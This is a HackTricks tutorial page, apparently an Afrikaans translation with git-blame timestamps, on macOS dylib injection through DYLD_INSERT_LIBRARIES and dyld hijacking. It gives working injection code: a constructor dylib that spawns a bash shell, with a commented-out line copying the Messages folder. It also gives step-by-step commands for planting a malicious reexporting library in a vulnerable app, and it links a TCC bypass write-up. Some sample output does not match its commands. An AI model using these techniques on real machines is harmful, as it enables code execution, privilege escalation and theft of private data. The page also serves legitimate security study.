hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

188 lines
7.2 KiB
Markdown
Raw Normal View History

# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-04 09:09:21 +00:00
2024-02-11 02:07:06 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
</details>
2024-02-11 02:07:06 +00:00
## DYLD\_INSERT\_LIBRARIES Basiese voorbeeld
2024-02-11 02:07:06 +00:00
**Biblioteek om in te spuit** om 'n skul te voer:
```c
// gcc -dynamiclib -o inject.dylib inject.c
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
2024-02-11 02:07:06 +00:00
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
2024-02-11 02:07:06 +00:00
Binêre teiken:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
2024-02-11 02:07:06 +00:00
printf("Hello, World!\n");
return 0;
}
```
2024-02-11 02:07:06 +00:00
Injeksie:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
2024-02-11 02:07:06 +00:00
## Dyld Hijacking Voorbeeld
2024-02-11 02:07:06 +00:00
Die teiken kwesbare binêre lêer is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
{% tabs %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
2024-02-11 02:07:06 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
2024-02-11 02:07:06 +00:00
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
2024-02-11 02:07:06 +00:00
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% endcode %}
{% endtab %}
{% endtabs %}
2024-02-11 02:07:06 +00:00
Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaai biblioteke nagaan nie** en dit probeer 'n biblioteek laai vanaf:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
2024-02-11 02:07:06 +00:00
Maar, die eerste een bestaan nie:
```bash
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
2024-02-11 02:07:06 +00:00
So, dit is moontlik om dit te kap! Skep 'n biblioteek wat **willekeurige kode uitvoer en dieselfde funksionaliteit uitvoer** as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes:
{% code title="lib.m" %}
```objectivec
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
2024-02-11 02:07:06 +00:00
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}
2024-02-11 02:07:06 +00:00
Kompileer dit:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
2024-02-11 02:07:06 +00:00
Die heruitvoerpad wat in die biblioteek geskep word, is relatief tot die laaier. Laat ons dit verander na 'n absolute pad na die biblioteek wat uitgevoer moet word:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-11 02:07:06 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
2024-02-11 02:07:06 +00:00
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
{% endcode %}
2024-02-11 02:07:06 +00:00
Uiteindelik kopieer dit net na die **gekaapte plek**:
{% code overflow="wrap" %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
2024-02-11 02:07:06 +00:00
En **voer** die binêre lêer uit en kontroleer of die **biblioteek gelaai is**:
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2024-02-11 02:07:06 +00:00
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gekaap in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Gebruik: [...]
</code></pre>
{% hint style="info" %}
2024-02-11 02:07:06 +00:00
'n Goeie bespreking oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van Telegram te misbruik, kan gevind word by [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}
2024-02-11 02:07:06 +00:00
## Groter Skala
2024-02-11 02:07:06 +00:00
As jy van plan is om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe ondersoek om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-04 09:09:21 +00:00
2024-02-11 02:07:06 +00:00
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
</details>